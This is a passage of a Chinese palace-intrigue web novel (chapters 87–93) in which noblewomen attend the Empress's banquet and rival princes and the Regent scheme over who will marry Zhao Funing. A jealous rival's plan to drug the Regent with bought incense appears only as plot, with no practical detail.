那笑,根本没看清,更别说歉意了。
福宁还以为后头又有人来了呢,也跟着回头看看,她的身后空无一人啊。
很快,在宫道拐角处,遇到了路过的大皇子。
谢烛身后跟着十几宫人,哪怕不是太子了,也还是嫡出的皇长子,威仪不减从前。
第87章 给赵小姐抬步辇来!
迎面走来,自然先与走在前头的女眷们碰见,她们屈膝行礼。
谢烛挥手,带笑的眉眼看起来没有攻击力,“免礼,”他温和地先看向国公夫人,“听闻荣公身体抱恙,这几日可还安好?”
荣国公夫人低着头,既欣喜大皇子的问候,又怕大皇子记起自家曾改变立场的事实,“是,多谢大殿下挂念。”
实则双方皆知,改变立场这种大事,怎么可能会忘?
不过是正直用人之际,当做记不起罢了。
谢烛又依次问候了豫北侯、户部尚书府的女眷,言辞亲和,毫无架子,看起来脾气好、又耐心。
直到最后,直接忽略了寿安伯府的女眷,只是笑了笑,朝后去。
江夫人原本都准备好要如何应答了,这下笑容僵在脸上。
连带其他女眷也不动声色地交换了眼神。
难道,是因为摄政王与大皇子水火不容,所以大皇子连带着不喜未来的摄政王妃?
可今日是皇后娘娘邀请的江家呀!
几人摸不着头脑,唯有江雪娥知道是怎么一回事。
她脸色难看,豫北侯千金见了,想安慰她,刻意转移话题,“江姐姐,你与摄政王的婚期定在何时,能不能跟我透露一下?”
江雪娥的表情更不自然了,“我,这……”见几人好奇的目光都打量过来,她镇定下来,“要看王爷的意思。”
豫北侯千金点头,“自然自然,江姐姐怎么还害羞了。”
国公府千金亦笑着调侃,“江姐姐是未来的王妃,一举一动都要代表皇室,自然脸皮薄,哪像你呀!”
豫北侯千金:“你!”
从对话,也知道这两家千金地位相当,关系匪浅。
言语中被捧着的江雪娥反而格格不入,她与江月娇姐妹,在一众女眷里,显得话少。
倒是江夫人,被几句话吹捧得,脸上因被大皇子忽视的尴尬慢慢消失,也跟着展露笑颜。
直到——
谢烛不轻的声音再度传来,“赵夫人赵小姐是腿脚不便吗?”
众人闻声望去,都以为大皇子是在责怪赵氏母女走得慢、不将皇后放在眼里。
看着赵福宁急忙解释是自己体虚跟不上,并非怠慢,江夫人心情更是大好,彻底忘了方才的烦恼。
然后,看见大皇子皱眉,厉声喊道:“来人!”
要兴师问罪了!众人心想。
那引路的宫人忙上前,毕恭毕敬,“殿下。”
谢烛的确是问罪,问的却不是赵氏母女的罪,而是那引路太监。
“既知赵夫人与赵小姐跟不上,为何不慢些走?”
结果与预期完全相反,女眷们一下子还难以反应。
太监亦是,“殿下恕罪,奴才只是……”
福宁也没想到,大皇子这么热心,忙摆手,“不不,殿下,是民女的问题,不管这位公公的事。”
谢烛转头看她时,不再是问罪的冷漠模样,亲和道:“赵小姐心善,不计较,但你们是母后请来的客,便不好怠慢。”
再吩咐太监,“去,抬步辇来。”
太监连连点头,心中的震惊不敢表露出来。
“不,不用……”福宁能感受到周身氛围的异样,受宠若惊,“大殿下,民女和母亲会走快些的。”
今日来参宴的女眷,谁也没步辇,她哪里敢上步辇。
容婉谦恭道:“殿下宅心仁厚,是百姓之福,只是今日赴宴,皆是步行而来,能受邀已是民妇与小女的荣光,若独享步辇,恐受之有愧,殿下以礼相待,民妇与小女感激不尽。”
闻言,谢烛知道她
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们打定主意不会搞这份特殊了,他倒无所谓,反正已经卖过好了,遂笑道:“既如此,还是主随客便。”
再吩咐太监,“走慢些,不急一时,好生照顾好母后的客人。”
太监:“是。”
交代完,谢烛便与女眷们反方向走了。
留在原地行了一会儿注目礼的福宁如芒刺背,感觉身上都要被某些女眷盯穿了!
那头,被谢烛忽略的江夫人脸都快要冒绿光了,不明白大殿下究竟怎么个意思,竟然对赵氏母女这般客气礼待,反而对她这个摄政王准岳母……这不是故意打她的脸吗?
江月娇盯着泰然自若的赵福宁,咬紧了的腮帮子透露着心底的邪火正旺。
这赵福宁怎么这么好命,先是让崔兰亭对她死心塌地,后又勾引摄政王救她于水火,如今不知靠着什么手段,又勾搭上了大皇子……真是不知廉耻!
江家母女中,唯江雪娥知道得最多,她想到了昨日女官说的话,皇后娘娘另外有了人选。
今日这场宴会一定不是白办的,要么,就是皇后为了挑选出新的摄政王妃,要么,就是已经从她们之中挑选好,其余受邀的都只是为了掩人耳目。
若是后者……显然赵福宁的可能性是最大的。
毕竟只有赵福宁没有身份地位,格格不入,是最不该出现的人,出现在此,皇后必有用意。
以刚才大皇子的态度,江雪娥心中便愈发笃定。
是了,如果她是皇后,她大概也会选赵福宁,身份低微很好拿捏,只要大皇子帮赵应恢复官职,赵家便对大皇子忠心不二,何况摄政王本就对赵福宁青眼有加。
想着,江雪娥看着赵福宁的眼神,从漠然转变为不甘、嫉妒,再到最后的恨,好像都只是一瞬间的事。
第88章 你比赵福宁还体虚?
“切。”这是从豫北侯千金喉咙里发出来的不屑。
也只是这一声切,没有多说,但谁都明白是何意。
豫北侯夫人警告地看了一眼女儿,这次,不止是一笑了事了。
豫北侯夫人并未放下姿态,一步步不急不慢地朝赵福宁母女走去。
她微微颔首,既不失礼节,亦不显傲慢,“既是腿脚不便,我们都走慢些就是。”
面对突如其来的“善意”,容婉得体地浅笑,“侯夫人宽厚。”
“谢谢侯夫人,我会快些走的。”福宁只能道谢,不然还能怎呢,刚才自己说自己体虚来着。
豫北侯千金见自己的母亲对赵氏母女“施恩卖好”,心有意见,虽不说出来,可脸上藏不住事。
国公府千金嘴角勾着一抹淡笑,见好友如此,心中暗叹,再见自己的母亲无动于衷,忍不住于心中再叹一次。
江家母女三人心里想得不同,但一致地都不想等赵氏母女,遂欲先走。
荣国公府的夫人看不上赵家门第,并不认为自己有等待的必要,见状也要一起走。
脚步刚要踏出去,被自家女儿拉住。
“母亲,我有些走累了,站会儿。”
荣国公府夫人听闻,关切道:“好好,这路确实太长了。”
方才与荣国公府千金互怼的豫北侯千金,有些诧异,玩笑道:“华浓,你莫不是比赵福宁还虚?”
华浓瞥她一眼,“虚也能打你。”抬手往侯千金的脑门敲了敲。
侯千金摸摸头,翘着嘴角冷哼。
她们不走了,倒显得要先走一步的江家母女很尴尬,再见从头到尾话不多的户部尚书夫人与其女也站着不动,江家母女只好一同等待。
被一群人等着,福宁只好加快了脚步,实则心里还是喜欢方才没人在意的感觉。
这下,很不自在。
到了王皇后办宴会的清凉殿,殿外四周围满了冰,屋檐上也是冰块,还用竹管引了水,浇在冰块上,宫殿的三面形成水帘,冰水往下流淌,沿着小池下面的暗道,流向御花池。
凉爽又奢靡。
刚才走在宫道上出了汗,皇后身边的女官贴心地为各位女眷送来了华丽衣裙。
福宁没什么想法,一切都是跟着规矩来的。
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女眷们分开,由宫人各自带进偏殿熏香更衣。
江雪娥看着皇后身边的女官主动带着赵福宁,心一紧,“掌事!”
女官淡漠地朝她瞥去。
因女官停步,福宁也跟着停下,疑惑地往江雪娥看去。
听女官问:“江小姐是有什么要说的?”
不止是福宁,连另外几个还没走远的夫人、千金也回了头,看这边发生了什么。
江雪娥很怕被人知道自己即将被取消婚约,遂轻咳两声,故作矜持地温婉道:“那日皇后娘娘赏赐,臣女还未向娘娘当面道谢……”
言下之意,是要私见皇后。
女官清楚,皇后娘娘何曾赏过她东西,不过是她想体面些求见皇后。
女官默默看了她一会儿,而后意味深长地勾了勾唇,召来一名宫女,肃声嘱咐,“你带赵小姐去更衣,不可怠慢了。”
“是。”
宫女:“赵小姐请跟奴婢来。”
福宁还看着江雪娥呢,闻言,回过头,点点头跟着走了。
女官再看向江雪娥,颔了颔首,连话都不曾说,示意她跟来。
第89章 温情香
王皇后正在清凉殿后头的宫殿中插花,听心腹回来禀报——
“娘娘,江大小姐求见。”
不用说也能猜到求见的目的是什么,王皇后脸色兴致全无,一个人没本事还想攀高枝,眼高手低,更让她看不着一点价值用处。
“让她进来。”
不多时,江雪娥便在宫人的带领下迈入殿中,身形袅娜,幽香飘荡,殿中的宫女们都不约而同地想悄悄抬头看一看,京城第一美人的风姿。
王皇后仿佛不知道江雪娥已走到身前似的,拿起剪子将盆栽中长得最高最艳,与其他花儿格格不入的那支花王,咔嚓一下剪了。
“臣女参见皇后娘娘!”江雪娥恭敬低着头,没第一时间看见皇后剪花。
却看见了落地**了眼帘的花。
“何时求见。”王皇后的声音没有情绪。
好似若不直说,江雪娥下一瞬就会被赶出去。
江雪娥交叠放置在小腹前的手,紧张地相握扣紧,暂时摒弃所有自尊心,朝着皇后跪了下去,“请皇后娘娘再给臣女一次机会。”
王皇后冷淡的视线瞥向她,佯装不懂,“什么机会?”
江雪娥仰着头,白皙的面容上写满了恳求,“给臣女一个,能为娘娘效力的机会。”
王皇后看着她,倏地笑了。
这说法倒是有趣,分明是为了她自己能攀上高枝、成为人上人,从她嘴里出来,倒是为了自己。
不由地,又来了兴致,屏退宫人后,道:“效忠本宫的人很多,你想如何效忠本宫?”
江雪娥郑重道:“只要娘娘再给臣女一次机会,臣女定能俘获王爷芳心,臣女会比赵福宁对您更忠心!”
语毕,见王皇后不语,她又慌了神,试图通过贬低赵福宁来抬高自己,“得到的太容易,赵福宁她怎么会记得娘娘的好?如今摄政王看似对她有意,以她浅薄的见识,若成了王妃,只会事事听王爷的,哪里能对娘娘您忠诚呢?”
王皇后沉思须臾,嘴角的淡笑一直挂着,“**,你说的这些,你又如何保证你不会如此呢?”
江雪娥一噎。
王皇后:“至少从现在来看,你比赵福宁要贪慕容华得多。”
江雪娥急中生智:“可这容华,只有娘娘能给臣女,摄政王便是再位高权重,也并非陛下的子嗣,将来能荣登大宝的,只有大殿下!”
闻言,王皇后嘴角笑意更甚,显然是被取悦到了,忽而放下手中的剪子,“可惜了,谢珩玉不愿意娶你。”
“娘娘!臣女有法子!臣女——”江雪娥还要继续往下说,却见
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王皇后抬手制止她说话。
“你的法子,本宫不想听,你若有本事,可以证明给本宫看。”
“娘娘——”
“出去。”
王皇后冷淡打断,不再容她继续说下去。
江雪娥心灰意冷,走出宫殿时颓败得很,一想到以后要受人嘲笑,她心疼得如被百蚁啃食。
方才领她进殿的女官走在她前头,突然转头道:“江小姐,娘娘不支持您任何举动,但您若真想得到娘娘的帮助,需要您自己做出行动,证明给娘娘看,而非让娘娘帮助您。”
女官领悟皇后之意,遂朝江雪娥踏进两步,低声提点,“毕竟,是您需要娘娘,而非娘娘需要您,您有求于人,自然也要有同等的价值,不能让娘娘担风险吧。”
江雪娥恍然大悟,终于明白,方才王皇后并非回绝,而是让她直接用行动证明,她可以俘获摄政王的芳心!
“多谢掌事提点!”
如濒死之人抓住救命稻草,江雪娥欣喜若狂。
女官又道:“今日摄政王或许会进宫,江小姐,这是您为数不多的,可以与摄政王见面的机会了。”
说着,在无人之地,取出两小盒香,“一支温情香,一支迷梦香,皆是市井可以买到的物件,或许江小姐用得上。”
第90章 皇后也不能做福宁的媒
究竟用不用、用哪样,在江雪娥。
至于能不能成功,若失败会如何,那便不是皇后想管的了。
反正这香,随处可买,并无指向。
江雪娥恍恍惚惚地接下了香,但很快她内心变得更加坚定,她不能怕事,成败在此一举,今日必须让摄政王为她倾倒。
为了家族,也为了自己能够永远站在人群之上,做最耀眼的那个,她也要搏一把。
“多谢掌事。”
“嗯?”女官面露不悦。
江雪娥改了口,“多谢掌事帮忙,臣女才得以见到皇后娘娘,这两枝香,是臣女自己在宫外准备的,与皇后娘娘和掌事,没有丝毫关系。”
女官眸光逐渐柔和,淡淡地了应了一声,“此处离清凉殿不远,剩下的路,江大小姐自己走吧。”
江雪娥将香藏进怀中,女官唤来一个做杂事的小宫女贴身跟着她,她先寻了偏殿换衣裳。
这处偏殿,本也是供贵眷们休息之用,屏风床榻浴桶衣柜梳妆台,一应俱全。
是个很适合点香的地方。
江雪娥换了新衣,目光看向贴身跟着自己的小宫女。
掌事不可能随意指派宫女跟着她,选了此人必然是有作用的。
想着,江雪娥便给小宫女塞了几块碎银子,果然,就见小宫女眸光发亮,一副见钱眼开之态。
她再开口,“晚些时候,请你帮我做些事,若事成,还会有你的好处,你放心,不会很麻烦的。”
小宫女看着她有些犹豫。
江雪娥便再塞了一两银子,“我与摄政王有婚约,我只是想与他私下见一面。”
小宫女一听,没什么风险,只是未婚夫妻想见一面而已,还有钱赚,遂一口应下。
江雪娥笑意吟吟,与小宫女说好后,遣宫女出去等着,她留在殿内,取出怀中的两支香。
一支是催情之用。
另一支只是将人迷晕。
若想与摄政王真正成事,自然该用温情香。
可是……万一不成呢?
催情只会让人丧失理智,并非不省人事,也并不会失去武力,倘若摄政王中了香也不愿意,一生气将她直接砍了怎么办?
倒不如迷晕他,让他没了抵抗之力。
到时,在众目睽睽之下两人躺在一张床榻上,这婚事,他不愿意也得愿意!
权衡利弊后,江雪娥还是打算用迷香。
正想提前点了,忽闻殿外传来江月娇的轻唤,“长姐,你好了吗?”
江雪娥手一抖,香掉落在地,殿门从外被推开。
江月娇进殿时,就见着江雪娥弯腰捡东西,袖子挡住了一半,露出的另一半,看着像是……香?
再看她的脸上,划过心虚之色,又被极力压下。
江月娇心有疑惑,却并未问出来,“长姐去见过皇后了?”
江雪娥避而不答,“走吧,去清凉殿。”
还是先去清凉殿,等摄政王来了再行动也不迟。
出殿时,与小宫女的视线对上,小宫女紧随其后。
另一边,女官回到王皇后身边,“娘娘当真打算给江大小姐一个机会吗?”
王皇后嗤之以鼻,“就她?谢珩玉若是个任人摆布的,本宫何至于这般费心。”
女官:“娘娘并不对江小姐抱希望,那她……”
王皇后:“她若有能耐给谢珩玉添堵,做些让他失了颜面的事,本宫何乐而不为?”
即便她这能爬上谢珩玉的床榻,摄政王妃的位置也不可能是她的。
能算计到谢珩玉头上,别说谢珩玉,便是陛下也绝不会姑息。
至于江雪娥,
一枚废棋罢了,还能榨干最后的价值,怎么算都不亏。
*
清凉殿中,是两人一张小案,根据排的位置,是小辈与小辈坐,长辈与长辈坐。
**姐妹到清凉殿时,福宁已经和户部尚书家的千金坐在一起了。
福宁多次用余光去看尚书千金,奈何对方是个话少、不苟言笑的人,她多次想说话,又不知道找什么话题。
从前父亲任职户部侍郎的时候,她和尚书千金也有过交集的,但每一次,对话都很难超过三句。
不仅尚书千金是这样,尚书夫人也是一样。
福宁扭头,朝旁边那一桌看去,自己的母亲与尚书夫人坐得笔直,沉默着像石化了。
这边不说话,就显得对面侯府千金嗓门大,从头到尾都是叽叽喳喳的。
不过,福宁感受到两道不容忽视的目光盯着自己,她回瞪回去。
江雪娥领着江月娇入座,两姐妹的目光在这个时候非常一致,第一时间都是看赵福宁在哪里。
江雪娥看着嘴角带笑,实则眼中没有半分善意,江月娇则是嫉恨厌恶,掩饰都掩饰不住了。
但两姐妹有一个共同点,细看,都能看出一丝心虚之色。
江雪娥见到对面赵福宁回瞪自己,明明瞪人的时候脸色很臭,却还能叫人感受到她的与众不同,仿佛瞪人只是瞪人,不带有恶意。
江雪娥垂下眸,袖笼下的手钻进浮华的衣料,脑子里还在想着,待会自己若成事,会在在场这些人眼中,彻底失去脸面。
若不成事……那才是真真的完了。
故,江雪娥要自己必须成功,可是,在迷晕摄政王之前,又该如何让他心甘情愿进入那个偏殿呢?
靠自己,是不可能的。
江雪娥抬眸,又朝赵福宁望去,此时福宁已经移开视线,正在看身边的少女。
她好像很苦恼,抬起手伸出食指想戳戳身侧的少女,但还没碰到对方又放下了,转而去拿桌案上的糕点。
“装货。”江月娇压低地骂道。
传进江雪娥耳中,她一阵无语,冷睨庶妹一眼,再想到摄政王对赵福宁的不同。
既然他们都想让赵福宁来顶替她做摄政王妃
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,那么,她便用赵福宁来当垫脚石,这路才能走的顺当。
迷香给摄政王用,那温情香,也该物尽其用。
等到赵福宁不见踪影,再引导摄政王去寻,将摄政王骗进偏殿……而赵福宁,也该毁于今日,再不能成为摄政王的人了!
打定主意,江雪娥收敛了审视的目光,不再看赵福宁。
那头,福宁吃着糕点,还问便是的尚书千金要不要来点。
对方看了她一眼,摇头,“不必。”
对方忍了好一会儿,忽道:“你没发现江家姐妹在看你么?”
“发现啊。”哪能没发现?
福宁不清楚江雪娥,但清楚江月娇,肯定又要憋什么坏屁,一次接一次,不带休息的。
今天连江雪娥都不太正常,还有大皇子,感觉也不正常。
根本没有正常人啊。
“那你还……”尚书千金皱眉,“算了。”懒得说了。
“皇后驾到——”
随着太监一声高呼,王皇后万众瞩目地登场。
行礼过后,几位夫人都体面地夸赞着王皇后,谈笑间,王皇后的视线频频朝福宁投去。
这下,福宁觉得王皇后也古怪了。
她扯出无懈可击的笑脸,对着王皇后。
“这就是赵家的女儿,长得真是标致,听闻你与崔家退了亲,不过这般也好,你父亲忠义两全,是崔家有眼无珠了,待本宫为你另觅一桩良缘,必不让明珠蒙尘。”
???
王皇后的爱好是做媒吗?
福宁的嘴角还是笑着的,两根眉毛已经忍不住哀起来了,又笑又哀的,看着——
“真是喜气极了,”王皇后笑道,“这样的小姑娘,若不是烛儿没福气,本宫都想让赵小姐当本宫的儿媳了。”
江月娇:!!!
再次感慨赵福宁的好命,在皇后心里,崔兰亭竟然还配不上赵福宁了!那现在与崔兰亭有婚约的自己算什么?
王皇后就没考虑过江家的颜面吗!
除了江月娇气愤,还有一人也一样——豫北侯千金。
侯千金瞪着赵福宁的眼神快要冒火了,以赵福宁的身份,用什么来配大皇子?
好在皇后只是说说而已。
场面话罢了!
可是王皇后的话,在福宁母女耳里,一点都不是恩赐夸奖,反而是催命符咒。
容婉当即起身,谦卑道:“皇后谬赞,娘娘与殿下都是体恤臣民的,只是……殿下人中龙凤,小女蒲柳之姿,怎配得上,更不敢当明珠二字,娘娘仁善,臣妇与小女铭记于心,永世感念。”
王皇后没什么心情地挑了挑眉,余光见到殿中不起眼角落里,一名不起眼太监悄然退下,她随意道:“赵夫人快请坐,是本宫不该越俎代庖。”
此事,仿佛只是皇后无意识地随口一说,而后就不再提起。
另一边,小太监出殿后去了偏僻之地,传信出去。
第91章 王爷急了要闯后宫
摄政王府·燕景园。
这一天,谢珩玉不用早朝,也不用处理政务批阅奏折,平日都要做的事,今天都不用做,显得空得慌。
空下来,就不免要琢磨一下别的事。
比如,庭院里的黄金没人偷。
比如——
谢珩玉低头看看睡在桌案上的小福,小福今天睡得四仰八叉,光靠睡姿,他是没法分辨这是小福的天性,还是赵福宁的。
再看外面天色,“现在什么时辰?”
下属:“回王爷,寅时刚至。”
为时尚早。
至少离赵福宁来,还要好久。
谢珩玉有些无聊,但转念一想,其实他也摸不准她究竟什么时辰会来,从来就没准过。
这般想着,心底忽地就有了期待。
这种期待,被他归类为百无聊赖的生活中的一桩趣事,毕竟论谁发现这等超出认知的事,都会想要探索的。
何况赵福宁来到他身边之后,没几**兄就醒了,说不准就是赵福宁旺的?
谢珩玉觉得,过阵子还是得找个老道再看看。
他伸手,抚上小福袒露的肚皮,小福睡着一动不动,很乖巧地任他摸。
谢珩玉却收了手,脑海中不自觉浮现出少女容颜,若是她的话,早该挣扎了。
想着,喉咙间溢出一声低笑。
站在门槛外禀报时辰的下属看呆了去,王爷竟然开始傻笑了!
无意撞见王爷傻笑,下属立马背过身去。
“王爷!”白昼从外赶来,跨进门槛内,严肃地禀报,“今日皇后娘娘设宴,守宫门的兄弟来禀,受邀入宫的除了**母女,还有赵家母女。”
眨眼间,谢珩玉笑意全无,语气一沉,“赵福宁?”
“是,就是赵小姐的赵家。”白昼肯定回答。
谢珩玉刚还有半分愉悦的心情,这会儿头顶上像是笼罩了阴云,喉咙里出来的话,自带郁气,“她又想干什么。”
白昼认真道:“王爷,赵家应是受皇后之邀,不是赵小姐主动的。”
谢珩玉冷冷瞥他一眼,有点暴躁,“本王说的是皇后。”
昨日谢烛前来,揣测他的心意,以为他对赵福宁有意,却只提**受皇后之邀,只字不提皇后也邀请了赵家……
这母子俩,究竟在耍什么把戏?
白昼:“……王爷恕罪,是属下理解有误,除了赵江两家,还有几家女眷,皇后相邀,恐是为了笼络赵家。”
“呵,”谢珩玉原想站起来,听了这话又
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坐了回去,“赵家若还不知悔改,便是自取灭忙。”
闻言,白昼附和,“王爷说的是,赵家若还甘愿与大皇子同流合污,那赵小姐……”不知道怎么说了。
白昼现在拿不准,王爷对赵小姐的情根有多深,应该不深吧?不会影响王爷判断吧?
下一瞬,就听从前铁面无私,沉浸在了他自己的猜测中,“谢烛还未婚配,难道……”
像王皇后与谢烛那样唯利是图的人,若是往常,他不觉得没有根基的赵家会入他们的眼。
哪怕赵福宁再特别。
但现在,谢珩玉不能排除,谢烛为了激怒他,会做出什么样的事,何况还有**姐妹在。
白昼听出王爷的意思,旁观者清,“王爷,皇后与大皇子不可能——”
“备马!”谢珩玉已经起身,单手抱着小福,另一手提起长剑。
白昼连忙跟上,“王爷,您是要闯后宫吗?”为了赵福宁?王爷已经这么爱了吗?
谢珩玉忽然停步,皇后此举,恐怕就是希望他这么做。
但他还是要去。
他冷笑道:“你去告知皇兄一声,便说,本王要去后宫见准王妃!”
皇兄不是很希望他成家吗,想来也拒绝不了!
第92章 二皇子也来掺和一脚
语毕,策马而去。
白昼脸色发苦,这要他怎么跟皇帝开口啊!
从前铁面无私但善待下属的王爷,现在为了赵小姐,不顾下属的死活了啊!
白昼到底还是去了,战战兢兢地去了。
从后宫放飞的白色信鸽,在京城的上空盘旋,与另一只自远方飞来的信鸽重逢,两鸽最终一同飞进了二皇子府。
“七咕。”
“八咕。”
府中鸽奴一手搭着一只信鸽,将信纸取下,递交给侍卫,再带着两只信鸽去填肚子。
填信鸽的肚子。
书房中。
谢燎正襟危坐在红木椅上,自己的书房比私宅凉爽许多,遂这次衣裳穿得严严实实,他正听着暗卫与幕僚汇报关于大皇子的事。
“果然如殿下所料,那几本书塞进宗监室后,大皇子看了蠢蠢欲动,没多久便用苦肉计让陛下心软。”
“虎毒还不食子,陛下当然会心软,但若大皇子还不毁过,哪怕为了天下,陛下也不能再心软第二次。”
谢燎倾听者,面上没多余的神色,似对大皇子这个兄长轻视至极,“宗监室的那几本书,趁早销毁。”
“殿下放心,属下已经处理掉了。”暗卫道。
幕僚站在冰风扇前端,挡住了风口,“还是殿下聪慧,大皇子性子急躁,难成大器,不及您万分之一二,此番您使计扩散流言令其丧失理智、从而谋逆,他麾下重臣皆已伏诛,只剩些不起眼的角色,如今又策划大皇子用苦肉计出来,他与摄政王必互为眼中钉,待他二人鹬蚌相争两败俱伤,就是殿下渔翁得利之时。”
谢燎垂眸,因一时迟疑,字帖上多着了一滴墨,晕染开便不能看了。
若非老皇帝看不见他,他又何须费尽心思,兜这么大一圈。
“不急,父皇的身子还能撑很久,徐徐图之才稳当。”
幕僚:“是,下一步,皇后定会为大皇子寻找世族联姻,不过那些世族眼高于顶,大皇子今非昔比,与大皇子联姻风险太大。”
谢燎眉眼一抬,墨发间都仿佛泛着幽冷的光,他话语笃定,“皇兄那张面皮还算不错,若他主动撩拨,未必不会有贵女瞎了眼不管不顾地嫁给他……何况,他还有个妹妹。”
“您是说,如意公主?”幕僚啧了一声,恍然道,“是啊,如意公主已是及笄之龄,也是皇后手中可供联姻的筹码。”
想到如意,谢燎清瘦的下颚低了低,风流的桃花眼没有半点对亲情的不忍,只有运筹帷幄的谋算,“莫等皇后起意,还是由吾为如意选一位俊俏的郎君吧。”
幕僚面上满是对谢燎的钦佩,二皇子表面隐忍,实则做事面面俱到,一切皆在掌控之中,未来定能成为明君。
就在此时,侍卫将两张信纸递上来。
“殿下,这是邕州来的,另一张是宫中的。”
若说方才谢燎还是运筹帷幄的稳当冷静,在看了第一张信纸后,就能让幕僚明白,什么叫做脸色骤变。
幕僚:“殿下,难道是赵公子发生了何事?”
谢燎敛去眉心烦躁,将邕州送来的信纸撕碎,没有给幕僚看。
谢燎揉揉太阳穴,冷声道:“他要回京。”
幕僚不明白赵公子回来有什么不好的,“赵公子归来,也能为殿下出谋划策,是好事啊!”
谢燎沉默片刻后,道:“学业未成,不可。”
“那……”
“差人在邕州回京城的路上,沿途设伏,学业未成前,不能让他回来,哪怕绑也要绑回书院。”
暗
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卫不理解,但应下,“属下明白!”
谢燎又拆开第二张信纸,上面的每一个字他都认识,但连起来有些陌生——
“皇后看上赵家女,言语间有为其与大皇子赐婚之意图。”
!!!
谢燎的瞳孔放大,寡淡的唇细看有微微发颤,随后抿紧,眼中隐忍褪去,迸发出想**的光。
幕僚没看见信纸,不知道的,还以为大皇子要二次谋反了呢!
那这的确没在意料之中,纯找死的。
“殿下,发生了何事?”
谢燎将信纸扔给幕僚。
幕僚看后,不可置信,满脸疑问,“皇后哪能……赵家一无底蕴,二无爵位,三无官职,虽然赵大人极大可能被重新任命,但皇后与大皇子眼高于顶,他们……莫不是冲着赵公子来的?”
这么一想,还真有可能!
赵公子自小有小神童之名,一直远超同龄人,哪怕没有官职在身,陛下都早已眼熟了他,未来前途不可估量,将来不久就要从邕州书院学成归来,相比从前,只会更加优秀善谋,而大皇子正是用人之际。
连暗卫的脸上都郑重起来,“倘若赵家真与大皇子结亲,那赵公子必对殿下生二心,这等人才怎么能留给大皇子,不如趁着赵公子偷跑回京的时机,直接将人解决杀了!”
暗卫果然狠,幕僚诧异投去一眼,但也并未反驳。
谢燎捏紧拳头,晦暗的眸光朝暗卫射去,语气冰凉,“出谋划策不是你该操心的。”
暗卫立马不敢说话了。
谢燎起身,“吾要进宫。”
幕僚一愣,“殿下进宫,难不成是与赵小姐有关?”
谢燎抬步朝外走去,“吾已及弱冠,趁着父皇清醒,请父皇赐一桩婚事。”
第93章 叔侄都看上赵福宁了?!
赐婚?结合上下语境,幕僚觉得,二殿下求赐婚的对象极可能是赵小姐。
殿下竟然要牺牲自己!
为了一个赵凫泽,不值得啊!
“殿下三思啊!”幕僚追随而去。
半个时辰后,养心殿外,谢燎与白昼相遇。
李大太监只见白昼,没看见摄政王,还以为是摄政王闹脾气不肯进宫,特意让白昼来传话呢。
那指定不是什么好话了。
李大监为难道:“白督领,陛下还在病中呢,王爷有什么话,还请让他自己来说。”
白昼一听齐武帝不见自己,内心大喜,表面一本正经,“大监,并非是王爷不来,王爷他听说未来王妃被皇后娘娘请去参宴了,他急着赶过去,特意让属下来向陛下请示,不要怪罪他去了后宫。”
李大监诧异地转了转眼神,想到后宫的确有宴会,点点头表示自己会将话带给皇帝。
一旁,同样心急但面上不显,还安静等待他们把话说完的谢燎看着白昼,忽问,“看来皇叔很在意江小姐,母后赐的这桩婚事,很得皇叔的意啊。”
白昼随意又略显尴尬地一笑而过,王爷在意的,才不是江小姐呢。
但这话不能直接说,“属下已将王爷的话带到,就不影响二皇子与陛下的清净了。”
李大监想着摄政王与齐武帝这对嘴硬兄弟俩,当真是神仙打架,他们底下的人遭殃。
李大监忍不住长叹一声,回过脸见二皇子还等着,恭恭敬敬抱着拂尘俯身,“二殿下,陛下方才喝了药已经睡下,您这是有什么要事?不如先等陛下醒来?”
谢燎嘴角的弧度染上几分讽刺,到了他这,便说皇帝睡下了。
他并未压下嘴角的弧度,而是扬起,让这抹笑显得阳光开朗些,仿佛对齐武帝的偏心并不在乎,“琐事自然不敢叨扰父皇,吾是有桩大喜事,想与父皇相商。”
李大监不免多看一眼平日存在感不强的二皇子一眼,“大喜事?”
谢燎点头,“吾有了心上人,想求父皇赐婚。”
这确实是大事,李大监讶异又愉悦地点了点头,这或许能让陛下短暂地欢喜片刻,“奴才去瞧瞧陛下醒了没有,二殿下稍待。”
养心殿中,齐武帝确实躺着欲睡。
但奈何睡不着,一直处在欲睡的状态中,心烦意乱,听了李大监禀报,干脆坐了起来,“老二来了?让他进来。”
谢燎跟在李大监的身后,李大监脚步匆匆,对于谢燎来说还是太慢了。
想到赵福宁正身处后宫危险之中,他干脆快步超越李大监,步入里殿。
这一举动,不太符合这几年来,谢燎谨慎稳当的作风,李大监停下步,望着他的背影,心里觉得古怪,却是说不上哪里古怪。
二皇子母族不显,年少时还活泼开朗些,但或许是因为不得圣宠的缘故,这些年也越发稳重了,除了早朝会进宫,私下很少往陛下跟前凑,故而经常没什么存在感,给人不争不抢的印象,不论是皇后母子还是陛下,对他都极放心。
可如今,李大监看着二皇子,竟一时想不起来,二皇子是在什么时候变得沉稳,又是在什么时候,与陛下父子疏离。
里殿。
谢燎行了礼,镇定地先问候了一番齐武帝的身体,毕竟也不能太直接步入主题了。
齐武帝先忍不住了,“你说的心上人,是哪家的姑娘?”
次子也及冠了,确实该娶妻了。
齐武帝认认真真地看着他的面容,竟想不出上一次这样近的距离看他是什么时候。
总之朝堂上,是很远的,远到看不清他的表情。
一晃眼这么多年过去,他长大了有了心上人,齐武帝心里还是欣慰欢喜的,他不争抢不谋逆,比烛儿省心多了。
不论是哪家姑
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娘,门第高低,齐武帝都会成全——但这是在听见姑娘家世之前。
“是前户部侍郎赵家赵应之女,儿臣想聘她为正妃。”
“……”
轮到齐武帝不说话了,睁着眼好似放空了,什么都没听见。
沉默片刻后。
谢燎有些不确定地唤了一声,“父皇?”
“父皇?”又喊一声。
齐武帝回过神,“你方才说什么?”
谢燎:“儿臣想聘——”
“你还小,婚事不着急。”齐武帝正色地打断,一副为他考虑的样子。
前后态度反差,谢燎意识到了不对劲,他的眉头拢起,“父皇,儿臣已及弱冠,不小了,何况您可以先赐婚,儿臣晚些成婚。”
齐武帝早没了刚才的欣慰和愉悦,只剩烦躁,“你皇兄也没成亲,你急什么。”
谢燎看着齐武帝,不说话,“……”
齐武帝被看的心虚,“……”
站在里殿不远处旁观的李大监,低着头抬着眸,看清龙榻边坐着的二皇子气势逼人,甚至能压住陛下。
大抵是因为陛下病了、又心虚,这才显得气势弱。
否则,年轻时身经百战的陛下,怎么会被一个势力低弱的皇子压制气场?对。
若是往常,二皇子在被陛下拒绝后,就该抱着不强求的态度离开了。
可这次,显然是下定了决心。
只听他言语委婉、语气强势地道,“赵家门第虽不高,但儿臣也并无建树,赵家女单纯良善,是为皇子妃的不二人选,其兄为儿臣伴读亦是挚友,儿臣心仪赵家女许久,求父皇允准。”
“若不是她,儿臣想不出此生还能与谁携手共度了。”
